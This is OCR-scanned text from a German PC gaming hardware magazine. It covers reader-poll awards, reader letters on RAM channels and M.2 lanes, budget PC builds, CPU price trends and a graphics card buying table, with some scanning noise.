de abgestimmt - nun ist es an der 
Zeit, Ihnen die Ergebnisse zu prä- 
sentieren. 


Wie immer gilt: Sie, die Leser, ha- 
ben entschieden, die PCGH-Re- 
daktion hat mit dem Ausgang der 
Umfrage nichts zu tun. Natürlich 
handelt es sich bei dieser Wahl um 
ein hochgradig subjektives Unter- 
fangen, doch es liefert allen Betei- 
ligten interessante Anhaltspunkte, 
welche Produkte und Maßnahmen 
dazu führen, in der Lesergunst zu 
steigen oder zu fallen. 


Ein genauer Blick auf die 2016er- 
Ergebnisse führt keine Überra- 
schungen zutage. Zu den Gewin- 
nern gehören Intel und Nvidia und 
auch Asus, Logitech sowie be quiet! 
haben ordentlich abgeräumt. Doch 
genug der Vorrede. PC Games 
Hardware gratuliert den Herstel- 
lern zu ihren Erfolgen und wünscht 
Ihnen, werte Leser, viel Spaß beim 
Schmökern! (ru) 


Hauptplatinen 


Gegenüber 2015 ist vieles anders: Sapphire fällt von Platz 1 auf 5, dafür gewinnen 
die Hersteller Asus und Gigabyte deutlich an Lesergunst. MSI hält seinen soliden 
zweiten Platz. EVGA erringt Platz 4, während Numero 6 von Zotac belegt wird. 


Gigabyte 


das Gigabyte knapp gegen Asrock verliert. 


Asus verweilt wie in den vergangenen Jahren mit großem Abstand auf dem Thron. Auf 
Position 2 folgt MSI. Auf den Rängen 3 und 4 fand ein Board-an-Board-Rennen statt, 


MAXIMUS 1х HERO ”, 
» , 


Asrock 


Bild: Digital Revolution 
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| Grafikchips — “| Preis-Leistungs-Tipp Prozessoren (x86) 


Wie in den drei Vorjahren fährt erneut Nvidia von der 
Poleposition — gegenüber 2015 haben die Kalifornier 
ihren deutlichen Vorsprung gehalten. 


TION y O о 
| —— F 


GP104-400-A1 


Den Preis-Leistungs-Tipp sichert sich Nvidias Geforce 
GTX 1070, knapp gefolgt von der GTX 1060 und 
AMDs wahrlich günstiger Radeon RX 470. 


Nvidia Geforce GTX 1070 


Nvidia Geforce GTX 1060 


AMD Radeon RX 470 


Top-Produkt 


Nvidias Geforce GTX 1080 sichert sich mit gesundem Abstand den Spitzenplatz, knapp ein Viertel aller Umfrageteil- 
nehmer hat sie auserwählt. Dahinter folgen der Preis-Leistungs-Sieger Geforce GTX 1070 (siehe oben) und AMDs 
Radeon RX 480. Auf den Plätzen 4 und 5 rangieren derweil die GTX 1060 6GB und das HTC Vive. 


Nvidia Geforce GTX 1080 


Nvidia Geforce GTX 1070 


AMD Radeon RX 480 


PC-Spiel - Top-Technik PC-Spiel - Top-Gameplay 


Der beliebte Multiplayer-Shooter Battlefield 1 greift 
sich den Top-Technik-Titel — knapp gefolgt vom Hexer 
Geralt. Doom folgt mit großem Abstand auf Platz 3. 


Battlefield 1 


The Witcher 3: Blood and Wine 


Doom 


Rollentausch: The Witcher 3 setzt sich in Form des 
letzten Add-ons Blood and Wine vor Battlefield 1. Weit 
abgeschlagen auf Platz 3: Blizzards Overwatch. 


The Witcher 3: Blood and Wine 


Battlefield 1 


Overwatch 


Intel setzt sich erneut uneinholbar an die Spitze die- 
ser Kategorie, 2014 war AMDs Abstand das letzte Mal 
deutlich kleiner. Ob 2017 alles anders wird? 


Be quiet! macht gegenüber 2015 einen Platz gut und 
setzt sich auf die Sonnenterrasse. Dahinter folgen 
dicht gedrängt Corsair, Fractal Design & Cooler Master. 


be quiet! 


Corsair 


Fractal Design 
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Hier hat sich gegenüber 2015 nichts verándert. Sam- 
sung kann sich mit gigantischem Abstand an die Spitze 
setzen. Dahinter folgen Crucial und Sandisk. 


Asus entscheidet die Monitorwahl klar für sich, kein 
anderer Hersteller ist hier beliebter. Doch auch Sam- 
sung, LG und Acer haben an Beliebtheit zugelegt. 


Diese 2016 eingeführte Kategorie entscheidet Nvidias 
GTX 1050 Ti eindeutig für sich. Es folgen AMDs Radeon 
RX 460 sowie, knapp dahinter, die GTX 1050 Non-Ti. 


Samsung 


Crucial 


Sandisk 


Asus 


Samsung 


LG 


Nvidia Geforce GTX 1050 Ti 


AMD Radeon RX 460 


Nvidia Geforce GTX 1050 


Weitere Kategorien beitsspeicher 


Corsair setzt sich mit bemerkenswertem Abstand auf Platz 1, ein gutes Drittel der Abstimmer wählt Arbeitsspeicher 
dieser Firma. Crucial, eine Marke von Micron, folgt auf Rang 2. G.Skill muss gegenüber 2015 zurückstecken und er- 
kämpft sich nur noch einen soliden dritten Platz, gefolgt von Kingston auf dem vierten Rang. 


TITTEN 
Wunn Г 


Corsair 


Crucial 


G.Skill 


PU-Kühler (Kompakt-Wakü): 
. Platz: Corsair, 2. Platz: be quiet!, 3. Platz: Cooler Master 


CPU-Kühler (Wasser): 
. Platz: EK Water Blocks, 2. Platz: Alphacool, 
3. Platz: Aqua Compute 


Festplatten: 
. Platz: Western Digital, 2. Platz: Seagate, 3. Platz: Toshiba 


Kopfhörer/Headsets: 
. Platz: Logitech 2. Platz: Sennheiser, 
Platz: Beyerdynamic 


Lautsprecher: 
. Platz: Teufel, 2. Platz: Logitech, 3. Platz: Bose 


Lüfter: 
. Platz: be quiet!, 2. Platz: Corsair, 3. Platz: Noctua 


Notebooks: 
. Platz: MSI, 2. Platz: Asus, 3. Platz: Acer 


Soundkarten: 
. Platz: Creative, 2. Platz: Asus, 3. Platz: Terratec 


Tastaturen: 
. Platz: Logitech, 2. Platz: Razer, 3. Platz: Roccat 


Mäuse: 
1. Platz: Logitech, 2. Platz: Roccat, 3. Platz: Razer 


[Netzteile PE 


Versender des Jahres 


Be quiet! ist wie in den Vorjahren 
unangefochten. Corsair und Sea- 
sonic können ihre Positionen 2 
und 3 ohne Probleme halten. Auf 
Rang 4 befindet sich Enermax. 


Ein weiterer, deutlicher Sieg für 
be quiet! Es folgen — wie im Vor- 
jahr — die Hersteller Alpenfóhn 
(EKL) und Noctua. Auf Platz 4: 
Cooler Master. 


Alternate behauptet seine Füh- 
rungsrolle bei den Versendern, 
wieder einmal dicht gefolgt von 
Voll-Sortimenter Amazon und 
Spezialist Mindfactory. 


be quiet! Alternate 
Corsair EKL Alpenföhn Amazon 
Seasonic Mindfactory 
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NEWS & INTERVIEWS 


JOBS IN DER 
SPIELE-INDUSTRIE 
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Taglich die 
heißesten 
Branchen-Infos: 
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Newsletter 
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Dual Channel statt Triple Channel für 
gleichmäßigere Frametimes? 

Im Heft 02/2017 habt ihr die Auswirkung von 
RAM-Konfigurationen und -Mengen auf aktuelle 
Spiele untersucht. Einige Spiele zeigen im Test 
unregelmäßige Frametimes bei Verwendung 
von 3 Modulen mit 2 x 4 GiByte +1 x 8 GiByte 
im Triple-Channel-Betrieb (am Quad-Channel- 
Interface). 

Ich habe meinen PC von 2 x 4 GiByte auf 2 x 
4 GiByte + 1x 8 GiByte DDR3-RAM aufgerüstet. 
Allerdings laufen die drei Module im Dual-Chan- 
nel-Betrieb (CPU: i5-2500K) mit 2 x 4 GiByte 
auf einem Kanal und 1 x 8 GiByte auf dem an- 
deren Kanal. Da beide Kanäle somit die gleiche 
RAM-Menge haben, war ich davon ausgegangen, 
dass es hier nicht zu derartigen Problemen mit 
ungleicher Frame-Verteilung kommen würde. 
Habt ihr diesbezüglich Erfahrungen, inwiefern 
das im Test am Quad-Channel-Interface festge- 
stellte Verhalten auch bei Dual Channel auftre- 
ten kann? 

Simon L., per E-Mail 


Stephan Wilke: Bei der Kanalbündelung ist 
es wichtig, dass die Speicherkapazität in jedem 
Kanal identisch ist. Ansonsten kann es passie- 
ren, dass das System auf das Leistungsniveau 
ohne Kanalbündelung zurückfällt. Bei einem 
Triple-Channel-System mit 2 x 4 und 1 x 8 Gi- 
Byte werden nur 12 von insgesamt 16 GiByte 
(also 75 % des Arbeitsspeichers) im Triple-Chan- 
nel-Modus betrieben, da die gemeinsame Spei- 
chermenge aller drei Kanäle bei jeweils 4 GiBy- 
te liegt. Bei 25 % aller Speicherzugriffe láuft ein 
solches System nur im Single-Channel-Modus. 
Wichtig: Hier geht es von uns früher durchge- 
führten Messreihen zufolge nur um die Wahr- 
scheinlichkeit, nicht um die tatsächlich genutzte 
Kapazität. Der PC wechselt also nicht etwa erst 
dann auf Single Channel zurück, wenn die 
im Triple-Channel-Modus nutzbare Kapazität 
(hier: 12 GiByte) ausgereizt wird. Stattdessen 
laufen die Zugriffe zufällig mal mit und mal 
ohne den Leistungsvorteil durch die Kanalbün- 
delung ab, was die stärkeren Schwankungen 
bei Messreihen erklärt. 


Eine denkbare Optimierungsmethode bestünde 
bei dem angesprochenen Triple-Channel-System 
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Community 


Leserbriefe 


Außer über unsere Webseite www.pcgh.de und unser Forum 


www.pcghx.de können Sie selbstverständlich auch per E-Mail an 


leserpost@pcgameshardware.de mit uns Kontakt aufnehmen. 


durch das Umstecken der Module darin, von 
suboptimalen Triple-Channel-Betrieb 
auf einen durchgängigen Dual-Channel-Modus 
zu wechseln. Zur Verdeutlichung die Ausgangs- 


einem 


situation: 


I Kanal A: 1 x 4 GiByte 
I Kanal B: 1 x 4 GiByte 
I Kanal C: 1 x 8 GiByte 
I Kanal D: Nicht genutzt 


>12 GiByte (75 %) im Triple-Channel-Modus, 4 
GiByte (25 %) im Single-Channel-Modus 


Optimiert: 


I Kanal A: 2 x 4 GiByte 
I Kanal B: 1 x 8 GiByte 
I Kanal C: Nicht genutzt 
I Kanal D: Nicht genutzt 


>16 GiByte (100 %) im Dual-Channel-Modus 


Die optimierte Variante erreicht zwar man- 
gels Triple Channel nicht die gleiche Spitzen- 
leistung, fällt aber auch nie auf das langsame 
Single-Channel-Niveau zurück. Rechnerisch 
ist zwar die Dual-Channel-Variante gegenüber 
der halbgaren Triple-Channel-Lösung um 20 % 
beim gemittelten Durchsatz unterlegen, doch 
ein Mittelwert verrät eben nichts über Abwei- 
chungen zwischen einzelnen Zugriffen, die das 
Spielgefühl durch unregelmáfsigere Frametimes 
beeinflussen kónnen. 


Bei Ihrem PC mit einem Zweikanal-Interface 
funktioniert die Kanalbündelung einwandfrei 
(sofern die Sticks in den richtigen Slots stecken), 
da Sie die optimierte Konfiguration nutzen: Bei 
2 х 4 GiByte im ersten Kanal und 1 x 8 GiByte 
im zweiten Kanal ist die Kapazität pro Kanal 
identisch. Somit steht Ihnen jederzeit die volle 
Dual-Channel-Geschwindigkeit zur Verfügung. 


Reduziert die M.2-SSD den PCI-Ex- 
press-Durchsatz der Grafikkarte? 

Ich nutze das Asus Z170I Pro Gaming und eine 
Geforce GTX 1070. Meine OCZ Vertex 2 móchte 
ich eventuell durch eine neue Samsung SSD 960 
Evo ersetzen. Zu meiner Frage: Ich bin mir nicht 


sicher, wie eine M.2-SSD mein System wirklich 
beeinflusst. Ich bin der Meinung, in einem Pro- 
motion-Video von Asus, welches ich leider nicht 
wiederfinde, gehórt zu haben, dass eine M.2- 
SSD mich 8 Lanes der 16 PCI-E-Lanes kostet. Im 
Handbuch selbst wird darauf jedoch kein Hin- 
weis gegeben. Andererseits habe ich bereits re- 
cherchiert, dass die Leistungseinbufsen auch bei 
hohen Auflósungen mit Pascal-Grafikarten bei 
1-3 Prozent liegen. Das wáre zu verschmerzen 
beziehungsweise ist bereits durch Übertakten 
der Grafikkarte eingeholt. Eine Empfehlung von 
euch wäre echt super! 

René K., per E-Mail 


Torsten Vogel: Beim Z170I Pro Gaming kommt 
es meinem Wissen nach nicht zu Lane-Sharing 
zwischen Grafikkarten- und M.2-Steckplatz. 
Im Gegensatz zu älteren Plattformen hat die 
Z170-Plattform mehr als genug Ressourcen, 
um beide Schnittstellen gleichzeitig mit voller 
Leistung anzubinden. 


Die Angaben zum Leistungsverlust ähneln 
unseren eigenen Messungen mit der Maxwell- 
Generation (PCGH 12/2015), im Allgemeinen 
reicht PCI-E 3.0 x8 für aktuelle Anwendungen 
aus. Umgekehrt gilt dies aber auch für SATA- 
SSDs: Ein spürbarer Alltagsnutzen für Spieler 
durch den Einsatz einer Samsung SSD 960 Evo 
konnte bislang nicht nachgewiesen werden. 


PC Games Hardware Online; 
wichtige Dienste und Partner 


Alternate: Soll es eine neue Grafikkarte oder ein 
PCGH-PC sein? Besuchen Sie den größten IT-Händler in 
Deutschland! www.pcgh.de/alternate 

Der PCGH-PC: Wenn Sie auf der Suche nach einem gut 
abgestimmten Rechner sind, kommen Sie um die PCGH- 
PCs kaum herum. www.pcgh-pc.de 


® Abos online bestellen: 
www.pcgh.de/shop 


JP PCGH als Digitalausgabe: 
pcgh.de/digital-ausgabe 


Ð Einzelheft bestellen: 
www.pcgh.de/heft 


www.pcgameshardware.de 


www.pcgh.de/print 


Die Leserbriefe geben nicht die Meinung der Redaktion wieder. Die Redaktion behält sich 


außerdem vor, Leserbriefe zu kürzen. 
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Rossis Restekiste 
Handy-Káfig 


Sie sind auch bisweilen genervt, wenn im Meeting Leute auf ihrem Smartphone tip- 
pen, statt zuzuhören? Sie finden es extrem unhöflich, wenn man sich bei Feiern mit 
dem Wischkästchen beschäftigt? Sie haben Kinder, deren Pupillen bereits anfangen 
rechteckig zu werden? Dann sind Sie ein potenzieller Kàufer des Handy-Káfigs. Hier 
können die Dinger effektiv weggesperrt und erst nach einer vorher eingestellten 
Zeit wieder freigegeben werden. Einbruchsversuche (und die wird es geben!) 
quittiert die Handy-Zelle mit einem lauten Alarmton. 
www.amazon.com/dp/B01M7YFUL8/ 


ANZEIGE 


PC Games Hardware - Das IT-Magazin für Gamer 


Worte des Monats 


„Wir können und sollten uns nicht darauf ver- 
lassen, dass Forscher ihre Arbeit kostenlos für 
gewinnorientierte Anbieter verrichten. " 


Programmierer Donncha O'Cearbhaill — er entschied sich, eine in Ubuntu gefundene Sicher- 
heitslücke zu melden, obwohl ihm ein Exploit-Händler über 10.000 US-Dollar dafür anbot. 


Heimlichtuerei bei AMD: Im Rahmen der CES gab es Vega zu sehen, allerdings klebte 
man die Stromanschlüsse ab, um keine Rückschlüsse auf die Leistungsaufnahme zu 
liefern. Da es sich um eine Entwicklerkarte handelt, ist eine USB-Buchse verbaut. 
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I 
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Jetzt 


anschauen 


Spiele am 
HDR-Display: 


Das Splitscreen-Video zeigt 
den Unterschied zwisch er 
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DAS HARDWARE-MAGAZIN FÜR PC-SPIELER 


Y8tDaPLHxiE (von www.youtube.com/user/LinusTechTips) 


Bild: www.youtube.com/watch?v 
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Projekt-PCs: Einsteiger 


In jeder Ausgabe stellt die PC Games Hardware zwei Beispielkonfigurationen zusammen, an denen 


Sie sich orientieren können, um einen eigenen PC zu bauen. 


ntel hat seine Desktop-Prozesso- 
J ba: der Kaby-Lake-Familie veróf- 
fentlicht. Während es am oberen 
Ende keine besonderen Überra- 
schungen gibt, hat der Chipher- 
steller am unteren Ende eine will- 
komene Neuerung eingeführt: Die 


Spar-Tipp 


Pentium-Modelle beherrschen jetzt 
Hyper-Threading, können also zwei 
Threads pro CPU-Kern verarbeiten. 
Damit rücken die kleinen Zweiker- 
ner näher an die Core i3, die als letz- 
tes Alleinstellungsmerkmal AVX2 
beherrschen (wie auch i5 und i7). 


Der Pentium G4560 kostet 60 Euro 
und ist nur etwas langsamer als der 
mehr als doppelt so teure Core i3- 
7100. Nutzer müssen neben dem 
fehlenden AVX2 (fast ausschließ- 
lich für Videobearbeitung interes- 
sant) und geringeren Takt lediglich 


auf die GT2-GPU verzichten. Im 
G4560 steckt eine GT1 mit 12 statt 
24 Ausführungseinheiten. Wer eine 
stärkere IGP haben möchte, be- 
kommt diese aber auch schon im 
G4600 mit GT2. Wir haben zwei 
(mm) 


Konfigurationen erstellt. 


Preis-Leistungs-Tipp 


Komponente 


Hersteller und Produkt 


Komponente 


Hersteller und Produkt 


Intel Pentium G4560 
EKL Alpenföhn Sella 


Prozessor 
CPU-Kühler 


Intel Pentium G4560 


Boxed 


Prozessor 
CPU-Kühler 


Grafikkarte (AMD) 


XFX Radeon RX 460 Single Fan 4 GiB 


Grafikkarte (AMD) 


MSI Radeon RX 470 Armor 4G OC 


Grafikkarte (Nvidia) 


KFA2 Geforce GTX 1050 ОС 


Grafikkarte (Nvidia) 


Zotac Geforce GTX 1050 Ti OC Edition 


Mainboard 


Gigabyte GA-B250M-DS3H 


Mainboard 


Gigabyte GA-B250M-DS3H 


Arbeitsspeicher 


Crucial Ballistix Sport, 2 x 4 GiB, DDRA-2400 


Arbeitsspeicher 


Patriot Viper 4 Series, 2 x 8 GiB, DDR4-2800 


HDD 


Seagate Desktop HDD 1 TB 


SSD Crucial 


X300 525 GB 


Netzteil 


Be quiet Pure Power 9 350 Watt 


Gesamtpreis (ab) 


Pentium G4560 + B250 

Spieler mit einem schmalen Geldbeutel 
kónnen im Jahre 2017 auch zu einem 
Pentium greifen. Ein Mainboard mit 
B250-PCH reicht ausstattungstechnisch 
vollkommen aus. Das Gigabyte GA- 
B250M-DS3H hat zahlreiche USB-An- 
schlüsse, vier DDRA4-RAM-Bänke und 
M.2. Einzig USB 3.1 ist bei einem Preis 
von 80 Euro nicht enthalten. 


Boxed-Kühler, 8 GiB RAM, HDD 

Wer bereit ist, Abstriche zu machen, be- 
kommt bereits für knapp 400 Euro einen 
spieletauglichen PC. Der Boxed-Kühler 
ist nicht der leiseste, 8 GiByte RAM 
erlauben keine Browser-Tab-Orgien im 
Hintergrund und eine HDD gehört nicht 
mehr zum schnellsten Eisen. Dafür kön- 
nen die RX 460 und GTX 1050 viele 
Mainstream-Titel adáquat darstellen. 


Bild: Gigabyte 


Bild: Crucial, Seagate gi 


Alternativ-Komponenten 
I MSI B250 PC Mate, u. а. mit USB 3.1, Pentium G4600 


I ХЕХ Radeon RX 460 4 GiB Passive Heatsink Edition, gegebenenfalls 
mit nachgerüstetem 92- oder 120-mm-Lüfter 
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Netzteil 


Gesamtpreis (ab) 


RX 470 oder GTX 1050 Ti 

Für gute 600 Euro bekommen Käufer 
eine ganze Reihe besserer Komponen- 
ten. Das äußert sich am stärksten bei 
der Radeon RX 470 oder Geforce GTX 
1050 Ti. Letztere ist mit 165 Euro ein 
bisschen günstiger, dafür aber auch 
wesentlich schwächer als die RX 470. 4 
GiByte Grafikspeicher tragen beide (im 
Gegensatz zur GTX 1050). 


Starker Kühler, 16 GiB RAM, SSD 
Neben der Grafikkarte warten einige 
weitere Upgrade-Optionen: Der Pentium 
G4560 wird mit einem EKL Alpenföhn 
Sella stillgelegt. Der RAM umfasst 2 x 
8 GiByte, wobei sich Patriot gerade mit 
günstigen Preisen für schnelle Kits in 
den Markt drängt. Zudem winkt eine 
SATA-6Gbit/s-SSD in Form der Crucial 
MX300 mit 525 GByte Speicherplatz. 


Be quiet Pure Power 9 350 Watt 


Alternativ-Komponenten 
I Pentium G4600 (bietet HD Graphics 630) 
I Geforce GTX 1060 3GB (auf die Speicheranforderungen der 


gewünschten Spiele achten) 


www.pcgameshardware.de 


PC Games Hardware begleitet Sie 

jetzt überall — egal, ob auf Tablet, 
Smartphone, KindleFire oder im Browser. 
PC Games Hardware ist jetzt immer dabei. 
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Preisentwicklung und Kauftipps 


Kaby Lake-S wird 
günstiger. 


Intels Prozessoren der Kaby-Lake-S-Familie sind 
nun seit mehreren Wochen erhältlich. Die Preise 
sind seitdem merklich gesunken, sodass die meis- 
ten CPUs in etwa auf dem Niveau ihrer Skylake-S- 
Vorgänger liegen. Etwas größere Differenzen sind 
unter anderem noch beim Topmodell, dem Core i7- 
7700K, vorhanden. 


rozessoren der Desktop-Reihe Kaby Lake- 

S werden schon seit fast zwei Monaten an 
Endkunden ausgeliefert, obwohl Intel die offi- 
zielle Freigabe erst am 5. Januar erteilt hat. We- 
nig überraschend haben die Händler davor teils 
horrende Preise für die Vier- und Zweikerner auf- 
gerufen. Ein Core i7-7700K beispielsweise war 
meistens nur für über 400 Euro zu haben. Auch 
nach der Veróffentlichung haben die Preise Zeit 
benótigt, um sich einzupendeln. Erst jetzt, zum 
Monatswechsel, kann man von grófstenteils nor- 
malen Bedingungen bei den Kaby-Lake-S-CPUs 
sprechen. 


Die meisten neuen CPUs kosteten zum Redak- 
tionsschluss knapp fünf Prozent mehr als ihre 
direkten Vorgänger. Der Core i7-7700K kommt 
auf gut sieben Prozent beziehungsweise 25 Euro 
Plus. Der kleinste Kaby-Lake-S-Vierkerner in 
Form des i5-7400 kostet knapp 200 Euro anstatt 
175 wie der 15-6400. Der 400 MHz schnellere 
15-7500 erscheint da deutlich attraktiver. Wäh- 
rend es beim grófsten lieferbaren Core i3, dem 
13-7320, keine Preisdifferenz gibt, fallen die klei- 
neren deutlich viel teurer aus. Der i3-7350K mit 
offenem Multiplikator ist aktuell nicht verfügbar 
und lohnt sich für den normalen Anwender we- 
gen des hohen Preises von rund 200 Euro kaum. 


Durch die Positionierung der Core-i3-Modelle 
werden die kleinen Pentiums mit Kaby-Lake-Ge- 
nen umso attraktiver. Die kónnen jetzt nàmlich 
Hyper-Threading, also zwei Threads pro Prozess- 
orkern, verarbeiten. Der G4620 und G4600 sind 
noch deutlich teurer als der G4520 und G4500. 
Ein interessantes Produkt stellt dafür der G4560 
für 60 Euro dar - siehe unseren Test ab Seite 42. 
Die Preise sollten in den kommenden Wochen 
weiter sinken. Mit der ausgereiften 14-nm-Ferti- 
gung sollten keine Lieferengpässe seitens Intel 
entstehen. (mm) 


118 PC Games Hardware | 03/17 


Einkaufsführer 


www.pcgh.de/einka 


Preisentwicklung Intel Core i7-7700K 
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Preis in Euro 
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439,00 Euro 


373.64-Euro--. 


12.2016 


> 01.2017 


Zeit 


Preisdifferenz Kaby Lake-S vs. Skylake-S 


Circa-Preis (Euro) 


Preis Vorgänger (Euro) 


Differenz (gerundet) 


Core i7-7700K 375 350 +7 96 
Core i7-7700 335 325 +3 96 
Core i5-7600K 255 245 +4 96 
Core i5-7600 240 230 +4 96 
Core i5-7500 215 210 +2 96 
Core i5-7400 195 175 +11 % 
Соге 13-7320 170 170 0% 

Core 13-7300 160 135 +19 % 
Соге 13-7100 125 115 +9 % 
Pentium С4620 105 90 +17 96 
Pentium С4600 90 70 +29 % 
Pentium С4560 60 55 49 96 
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Einkaufsführer Grafikkarten 


Preise: Stand 19.01.2017 


LTE Т PREIS-LEISTUNGS-TIPP 


[ERS fL SPAR-TIPP 


Benotung auf Basis der aktuellen PCGH-Testmethodik 


Nvidia Geforce Circa- Grafik- 3D-Taktung Verbrauch Länge/ А Benötigte Lautheit Test in 
Preis | speicher (GPU-Boost/RAM) | (2D/3D/Ernstfall) | (Slot-)Breite | Stromstecker | (2D/3D/Ernstfall) PCGH 
Zotac GTX 1080 AMP! Extreme €730,- | 8.192 MiB | 1.987+/1.350 MHz | 10/259/275 Watt | 31,2/5,0 cm | 2x 8-Pol 0,0/1,7/1,9 Sone 173 08/2016 | www.pcgh.de/preis/1449220 
Gainward GTX 1080 Phoenix GLH | € 720,- | 8.192 MiB .9114/1.315 MHz | 8/219/220 Watt 28,5/5,2 cm x 8-/1x 6-Pol | 0,0/1,5/1,5 Sone 1,75 08/2016 | www.pcgh.de/preis/1456253 
Palit GTX 1080 Game Rock Prem. | €720,- | 8.192 MiB .9114/1.315 MHz | 8/220/220 Watt 28,5/5,2 cm x 8-/1x 6-Pol | 0,0/1,5/1,5 Sone 1,77 08/2016 | www.pcgh.de/preis/1449283 
EVGA GTX 1080 FTW ACX 3.0 €720,- | 8.192 MiB | 1.936+/1.251 MHz | 12/237/247 Watt | 27,3/3,5cm | 2x 8-Pol 0,0/2,4/2,4 Sone 1,79 08/2016 | www.pcgh.de/preis/1449255 
Inno 3D GTX 1080 iChill X3 € 700,- | 8.192 MiB .949+/1.301 MHz | 12/237/239 Watt | 30,2/4,5 cm x 8-/1x 6-Pol | 0,0/1,9/1,9 Sone 1,80 08/2016 | www.pcgh.de/preis/1449258 
MSI GTX 1080 Gaming X 8G €710,- | 8.192 MiB | 1.886+/1.251 MHz | 13/235/245 Watt | 27,7/3,5 cm x 8-/1x 6-Pol | 0,0/2,3/2,3 Sone 1,81 08/2016 | www.pcgh.de/preis/1449271 
Asus GTX 1080 Strix OC €850,- | 8.192 MiB .898+/1.251 MHz | 8/199/202 Watt 29,9/3,6 cm x 8-/1x 6-Pol | 0,0/3,6/3,6 Sone 1,82 08/2016 | www.pcgh.de/preis/1449229 
Gigabyte GTX 1080 G1 Gaming €690,- | 8.192 MiB | 1.810+/1.251 MHz | 9/200/201 Watt 28,1/3,5 cm x 8-Po| 0,0/4,1/4,1 Sone 1,86 08/2016 | www.pcgh.de/preis/1449277 
Palit GTX 1070 Game Rock Prem. | € 490,- | 8.192 MiB .936+/4.253 MHz | 9/171/174 Watt 28,5/5,2 cm x 8-Po 0,0/0,8/0,8 Sone 1,99 08/2016 | www.pcgh.de/preis/1456802 
Zotac GTX 1070 AMP! Extreme €490,- | 8.192 MiB | 1.987+/4.104 MHz | 12/219/253 Watt | 31,2/5,0 cm | 2x 8-Ро 0,0/1,6/1,9 Sone 1,99 09/2016 | www.pcgh.de/preis/1456755 
Inno 3D GTX 1070 iChill X3 € 460,- | 8.192 MiB .949+/4.104 MHz | 10/190/192 Watt | 30,2/4,5 cm x 8-Po 0,0/1,5/1,5 Sone 2,04 09/2016 | www.pcgh.de/preis/ 450744 «ТТ 
Asus GTX 1070 Strix ОС €510,- | 8.192 MiB .911+/4.007 MHz | 8/166/167 Watt 29,9/3,5 cm x 8-Po 0,0/1,8/1,8 Sone 2,05 08/2016 | www.pcgh.de/preis/1450613 
EVGA GTX 1070 SC ACX 3.0 €450,- | 8.192 MiB | 1.772+/4.007 MHz | 8/149/153 Watt 26,7/3,5 cm x 8-Po| 0,0/0,7/0,7 Sone 2,05 09/2016 | www.pcgh.de/preis/1456822 
MSI GTX 1070 Gaming X 8G € 490,- | 8.192 MiB .924+/4.007 MHz | 11/208/208 Watt | 27,7/3,5 cm x 8-/1x 6-Pol | 0,0/1,4/1,4 Sone 2,06 08/2016 | www.pcgh.de/preis/1456552 
Gigabyte GTX 1070 G1 Gaming €460,- | 8.192 MiB | 1.8734/4.007 MHz | 9/181/182 Watt 28,1/3,5 cm x 8-Po| 0,0/3,5/3,5 Sone 2,09 09/2016 | www.pcgh.de/preis/1450713 
Asus GTX 1060 Strix OC € 330,- | 6.144 MiB .987+/4.104 MHz | 8/145/145 Wa 30,0/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2,40 10/2016 | www.pcgh.de/preis/1478721 
MSI GTX 1060 Gaming X 6G €330,- | 6.144 MiB | 1.949+/4.007 MHz | 8/146/146 Watt 27,7/3,5 cm x 8-Po| 0,0/0,7/0,7 Sone 2,42 10/2016 | www.pcgh.de/preis/1478791 
Gigabyte GTX 1060 G1 Gaming €310,- | 6.144 MiB .962+/4.007 MHz | 9/153/153 Wa 27,9/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2,45 10/2016 | www.pcgh.de/preis/1479045 
Zotac GTX 1060 AMP! €290,- | 6.144 MiB | 1.848+/4.007 MHz | 9/121/123 Watt 21,1/3,4 cm x 8-Po| 0,0/1,0/1,0 Sone 2,45 10/2016 | www.pcgh.de/preis/1478147 
Gainward GTX 1060 Phoenix GS € 300,- | 6.144 MiB .860+/4.007 MHz | 6/124/125 Wa 24,6/4,8 cm x 6-Po 0,0/1,4/1,4 Sone 2,47 10/2016 | www.pcgh.de/preis/1478764 
Palit GTX 1060 Super Jetstream € 300,- | 6.144 MiB .860--/4.007 MHz | 6/123/125 Wa 24,8/4,8 cm x 6-Po 0,0/1,3/1,3 Sone 2,49 10/2016 | www.pcgh.de/preis/1478641 
EVGA GTX 1060 SC Gaming €280,- | 6.144 MiB | 1.898+/4.007 MHz | 6/122/125 Watt 18,2/3,5 cm x 6-Рој 0,0/2,5/2,5 Sone 2,53 10/2016 | www.pcgh.de/preis/1479077 
Palit GTX 1060 3GB Dual € 220,- | 3.072 MiB .848+/4.007 MHz | 6/126/127 Wa 25,3/3,4 cm x 6-Po 0,1/1,4/1,4 Sone 2,70 01/2017 | www.pcgh.de/preis/1480332 
KFA? GTX 1060 3GB OC €210,- | 3.072 MiB | 1.810+/4.007 MHz | 9/122/123 Watt 23,4/3,5 cm x 6-Po| 0,3/1,5/1,5 Sone 2:73 01/2017 | www.pcgh.de/preis/1494969 
Zotac GTX 1060 3GB Mini € 210,- | 3.072 MiB .797+/4.007 MHz | 9/120/120 Wa 17,5/3,4 cm x 6-Po 1,2/3,4/3,4 Sone 2,76 01/2017 | www.pcgh.de/preis/1495006 
Asus GTX 1050 Ti Strix O4G € 190,- | 4.096 MiB | 1.797+/3.504 MHz | 8/76/92 Watt 24,1/3,5 cm x 6-Po| 0,0/0,8/0,9 Sone 2,79 01/2017 | www.pcgh.de/preis/1527166 
Gigabyte GTX 1050 Ti G1 Gaming | € 175,- | 4.096 MiB .645+/3.504 MHz | 8/67/68 Watt 22,0/3,5 cm x 6-Po 0,0/0,3/0,3 Sone 2,82 01/2017 | www.pcgh.de/preis/1526013 
MSI GTX 1050 Ti Gaming X 4G € 180,- | 4.096 MiB | 1.734+/3.504 MHz | 5,5/75/76 Wat 22,9/3,5 cm x 6-Po| 0,0/0,3/0,3 Sone 2,86 01/2017 | www.pcgh.de/preis/1524111 
EVGA GTX 1050 Ti SC Gaming € 165,- | 4.096 MiB .557+/3.504 MHz | 6/56/59 Watt 15,2/3,5 cm 0,2/0,4/0,4 Sone 2,93 01/2017 | www.pcgh.de/preis/1525248 
Zotac GTX 1050 Ti OC Edition € 165,- | 4.096 MiB .658+/3.504 MHz | 6/58/58 Watt 16,0/3,5 cm 1,0/1,5/1,5 Sone 2,94 01/2017 | www.pcgh.de/preis/1525243 
Asus GTX 1050 Expedition € 140,- | 2.048 MiB | 1.493+/3.504 MHz | 6/55/55 Watt 21,1/3,5 ст |- 0,0/0,5/0,5 Ѕопе 3,13 01/2017 | www.pcgh.de/preis/1525209 
AND Radeon deve = 
